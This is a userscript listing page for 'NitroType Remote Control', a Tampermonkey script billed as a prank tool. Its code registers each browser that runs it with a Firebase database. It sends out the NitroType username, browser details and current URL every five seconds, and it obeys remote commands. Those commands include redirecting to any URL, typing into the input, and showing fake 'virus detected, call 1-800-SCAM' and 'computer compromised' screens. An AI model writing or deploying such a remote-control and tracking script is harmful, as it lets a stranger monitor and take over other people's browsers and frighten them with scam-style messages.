NitroType Remote Control

Remote control script for NitroType with 25+ pranks using Firebase

目前為 2025-11-30 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         NitroType Remote Control
// @namespace    http://tampermonkey.net/
// @version      3.0
// @license MIT
// @description  Remote control script for NitroType with 25+ pranks using Firebase
// @author       You
// @match        https://www.nitrotype.com/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    // Firebase configuration
    const firebaseConfig = {
        apiKey: "AIzaSyCL7XUY6n56KoUHKOKC7WrQKDeZdiKL4yk",
        authDomain: "disciplemanager.firebaseapp.com",
        databaseURL: "https://disciplemanager-default-rtdb.firebaseio.com",
        projectId: "disciplemanager",
        storageBucket: "disciplemanager.firebasestorage.app",
        messagingSenderId: "333051652706",
        appId: "1:333051652706:web:18e8c82813245a583dff3b",
        measurementId: "G-CQKCCEGCQ4"
    };

    // Load Firebase SDKs
    const firebaseScript = document.createElement('script');
    firebaseScript.src = 'https://www.gstatic.com/firebasejs/10.7.1/firebase-app-compat.js';
    firebaseScript.onload = () => {
        const databaseScript = document.createElement('script');
        databaseScript.src = 'https://www.gstatic.com/firebasejs/10.7.1/firebase-database-compat.js';
        databaseScript.onload = () => {
            initializeFirebase();
        };
        document.head.appendChild(databaseScript);
    };
    document.head.appendChild(firebaseScript);

    let clientId = null;
    let database = null;
    let activePranks = new Set();

    function initializeFirebase() {
        firebase.initializeApp(firebaseConfig);
        database = firebase.database();
        
        // Generate unique client ID
        clientId = generateClientId();
        
        // Register this client
        registerClient();
        
        // Listen for commands
        listenForCommands();
        
        // Keep client alive
        setInterval(updateClientHeartbeat, 5000);
    }

    function generateClientId() {
        return Math.random().toString(36).substring(2, 9) + Date.now().toString(36);
    }

    // Get computer info
    function getComputerInfo() {
        // Try to get username from NitroType page
        let name = null;
        const nameElement = document.querySelector('span.db.type-ellip.type-ellip--account');
        if (nameElement) {
            name = nameElement.textContent.trim();
        }
        
        return {
            name: name,
            userAgent: navigator.userAgent,
            platform: navigator.platform,
            language: navigator.language,
            screenWidth: window.screen.width,
            screenHeight: window.screen.height,
            url: window.location.href,
            hostname: window.location.hostname,
            timestamp: new Date().toISOString()
        };
    }

    function registerClient() {
        if (!database) return;
        
        const clientRef = database.ref(`nitrotype/clients/${clientId}`);
        clientRef.set({
            info: getComputerInfo(),
            lastSeen: Date.now()
        });
        
        console.log('Registered with Firebase:', clientId);
    }

    function updateClientHeartbeat() {
        if (!database) return;
        
        const clientRef = database.ref(`nitrotype/clients/${clientId}`);
        clientRef.update({
            lastSeen: Date.now(),
            info: getComputerInfo()
        });
    }

    function listenForCommands() {
        if (!database) return;
        
        const commandsRef = database.ref(`nitrotype/commands/${clientId}`);
        commandsRef.on('value', (snapshot) => {
            const data = snapshot.val();
            if (data && data.command) {
                handleMessage(data);
                // Clear the command after processing
                commandsRef.remove();
            }
        });
    }

    // Handle incoming commands
    function handleMessage(message) {
        switch(message.command) {
            case 'navigate':
                if (message.url) window.location.href = message.url;
                break;
            case 'hide_dash':
                hideDashContent();
                break;
            case 'reload':
                window.location.reload();
                break;
            case 'spam_letters':
                spamLetters();
                break;
            case 'go_to_profile':
                window.location.href = 'https://www.nitrotype.com/racer/sidastuff';
                break;
            case 'flip_screen':
                flipScreen();
                break;
            case 'rotate_text':
                rotateText();
                break;
            case 'rainbow_colors':
                rainbowColors();
                break;
            case 'annoying_popups':
                annoyingPopups();
                break;
            case 'random_sounds':
                randomSounds();
                break;
            case 'shake_screen':
                shakeScreen();
                break;
            case 'invert_colors':
                invertColors();
                break;
            case 'fake_errors':
                fakeErrors();
                break;
            case 'random_fonts':
                randomFonts();
                break;
            case 'fake_notifications':
                fakeNotifications();
                break;
            case 'make_move':
                makeMove();
                break;
            case 'fake_loading':
                fakeLoading();
                break;
            case 'change_cursor':
                changeCursor();
                break;
            case 'fake_system_msg':
                fakeSystemMsg();
                break;
            case 'unreadable_text':
                unreadableText();
                break;
            case 'fake_ads':
                fakeAds();
                break;
            case 'slow_typing':
                slowTyping();
                break;
            case 'fake_virus':
                fakeVirus();
                break;
            case 'change_title':
                changeTitle();
                break;
            case 'fake_chat':
                fakeChat();
                break;
        }
    }

    // PRANK FUNCTIONS

    function hideDashContent() {
        const dashContent = document.querySelector('.dash-content');
        if (dashContent) dashContent.style.display = 'none';
    }

    function spamLetters() {
        const input = document.querySelector('.dash-copy-input');
        if (!input) return;
        const letters = 'abcdefghijklmnopqrstuvwxyz';
        const startTime = Date.now();
        const duration = 5000;
        function spam() {
            if (Date.now() - startTime < duration) {
                const randomLetter = letters[Math.floor(Math.random() * letters.length)];
                input.value += randomLetter;
                input.dispatchEvent(new Event('input', { bubbles: true }));
                setTimeout(spam, 50);
            }
        }
        spam();
    }

    function flipScreen() {
        document.body.style.transform = 'rotate(180deg)';
        activePranks.add('flip_screen');
    }

    function rotateText() {
        const style = document.createElement('style');
        style.id = 'rotate-text-style';
        style.textContent = `
            * { transform: rotate(${Math.random() * 360}deg) !important; }
        `;
        document.head.appendChild(style);
        activePranks.add('rotate_text');
    }

    function rainbowColors() {
        const style = document.createElement('style');
        style.id = 'rainbow-style';
        style.textContent = `
            * {
                animation: rainbow 2s infinite !important;
            }
            @keyframes rainbow {
                0% { color: red !important; background: blue !important; }
                25% { color: yellow !important; background: green !important; }
                50% { color: blue !important; background: red !important; }
                75% { color: green !important; background: yellow !important; }
                100% { color: red !important; background: blue !important; }
            }
        `;
        document.head.appendChild(style);
        activePranks.add('rainbow_colors');
    }

    function annoyingPopups() {
        const messages = ['Hello!', 'Click me!', 'You won!', 'Error!', 'Warning!', 'Alert!'];
        let count = 0;
        const interval = setInterval(() => {
            if (count++ > 20) {
                clearInterval(interval);
                return;
            }
            alert(messages[Math.floor(Math.random() * messages.length)]);
        }, 2000);
        activePranks.add('annoying_popups');
    }

    function randomSounds() {
        const audioContext = new (window.AudioContext || window.webkitAudioContext)();
        let count = 0;
        const interval = setInterval(() => {
            if (count++ > 10) {
                clearInterval(interval);
                return;
            }
            const oscillator = audioContext.createOscillator();
            oscillator.frequency.value = Math.random() * 1000 + 200;
            oscillator.type = 'sine';
            const gainNode = audioContext.createGain();
            gainNode.gain.value = 0.1;
            oscillator.connect(gainNode);
            gainNode.connect(audioContext.destination);
            oscillator.start();
            oscillator.stop(audioContext.currentTime + 0.1);
        }, 500);
        activePranks.add('random_sounds');
    }

    function shakeScreen() {
        const style = document.createElement('style');
        style.id = 'shake-style';
        style.textContent = `
            body {
                animation: shake 0.5s infinite !important;
            }
            @keyframes shake {
                0%, 100% { transform: translate(0, 0); }
                25% { transform: translate(-10px, -10px); }
                50% { transform: translate(10px, 10px); }
                75% { transform: translate(-10px, 10px); }
            }
        `;
        document.head.appendChild(style);
        activePranks.add('shake_screen');
    }

    function invertColors() {
        const style = document.createElement('style');
        style.id = 'invert-style';
        style.textContent = `
            * {
                filter: invert(1) !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('invert_colors');
    }

    function fakeErrors() {
        const errorDiv = document.createElement('div');
        errorDiv.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:red;color:white;padding:20px;z-index:99999;font-size:20px;';
        errorDiv.textContent = 'CRITICAL ERROR: System failure detected!';
        document.body.appendChild(errorDiv);
        setTimeout(() => errorDiv.remove(), 5000);
    }

    function randomFonts() {
        const fonts = ['Comic Sans MS', 'Papyrus', 'Wingdings', 'Times New Roman', 'Arial'];
        const style = document.createElement('style');
        style.id = 'random-fonts-style';
        style.textContent = `
            * {
                font-family: ${fonts[Math.floor(Math.random() * fonts.length)]} !important;
                font-size: ${Math.random() * 50 + 10}px !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('random_fonts');
    }

    function fakeNotifications() {
        const notification = document.createElement('div');
        notification.style.cssText = 'position:fixed;top:20px;right:20px;background:#333;color:white;padding:15px;border-radius:5px;z-index:99999;';
        notification.textContent = '🔔 New message: You have 999 unread emails!';
        document.body.appendChild(notification);
        setTimeout(() => notification.remove(), 5000);
    }

    function makeMove() {
        const style = document.createElement('style');
        style.id = 'make-move-style';
        style.textContent = `
            * {
                animation: move 1s infinite !important;
            }
            @keyframes move {
                0%, 100% { transform: translate(0, 0); }
                50% { transform: translate(20px, 20px); }
            }
        `;
        document.head.appendChild(style);
        activePranks.add('make_move');
    }

    function fakeLoading() {
        const loader = document.createElement('div');
        loader.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:black;color:white;display:flex;align-items:center;justify-content:center;z-index:99999;font-size:30px;';
        loader.innerHTML = 'Loading... Please wait...';
        document.body.appendChild(loader);
        setTimeout(() => loader.remove(), 5000);
    }

    function changeCursor() {
        const style = document.createElement('style');
        style.id = 'cursor-style';
        style.textContent = `
            * {
                cursor: crosshair !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('change_cursor');
    }

    function fakeSystemMsg() {
        const msg = document.createElement('div');
        msg.style.cssText = 'position:fixed;bottom:20px;left:20px;background:blue;color:white;padding:15px;border-radius:5px;z-index:99999;';
        msg.textContent = '⚠️ System: Your computer has been compromised!';
        document.body.appendChild(msg);
        setTimeout(() => msg.remove(), 7000);
    }

    function unreadableText() {
        const style = document.createElement('style');
        style.id = 'unreadable-style';
        style.textContent = `
            * {
                letter-spacing: 50px !important;
                word-spacing: 100px !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('unreadable_text');
    }

    function fakeAds() {
        const ad = document.createElement('div');
        ad.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:yellow;padding:30px;z-index:99999;border:5px solid red;';
        ad.innerHTML = '<h2>CLICK HERE TO WIN $1000!</h2><p>Limited time offer!</p>';
        document.body.appendChild(ad);
        setTimeout(() => ad.remove(), 5000);
    }

    function slowTyping() {
        const input = document.querySelector('.dash-copy-input');
        if (!input) return;
        const originalAddEventListener = input.addEventListener;
        input.addEventListener = function(type, listener) {
            if (type === 'keydown' || type === 'keypress') {
                return originalAddEventListener.call(this, type, function(e) {
                    setTimeout(() => listener(e), 500);
                });
            }
            return originalAddEventListener.call(this, type, listener);
        };
        activePranks.add('slow_typing');
    }

    function fakeVirus() {
        const virus = document.createElement('div');
        virus.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:red;color:white;display:flex;align-items:center;justify-content:center;z-index:99999;font-size:40px;text-align:center;';
        virus.innerHTML = '<div><h1>⚠️ VIRUS DETECTED ⚠️</h1><p>Your computer is infected!</p><p>Please call 1-800-SCAM immediately!</p></div>';
        document.body.appendChild(virus);
        setTimeout(() => virus.remove(), 8000);
    }

    function changeTitle() {
        const titles = ['You are hacked!', 'Virus detected!', 'Error 404', 'Loading...', 'Warning!'];
        let index = 0;
        const interval = setInterval(() => {
            document.title = titles[index % titles.length];
            index++;
        }, 1000);
        activePranks.add('change_title');
    }

    function fakeChat() {
        const chat = document.createElement('div');
        chat.style.cssText = 'position:fixed;bottom:20px;right:20px;background:white;border:2px solid black;padding:10px;width:200px;z-index:99999;';
        chat.innerHTML = '<div style="font-weight:bold;">Chat Messages:</div><div>User1: Hello!</div><div>User2: How are you?</div><div>User3: This is fake!</div>';
        document.body.appendChild(chat);
        setTimeout(() => chat.remove(), 10000);
    }

})();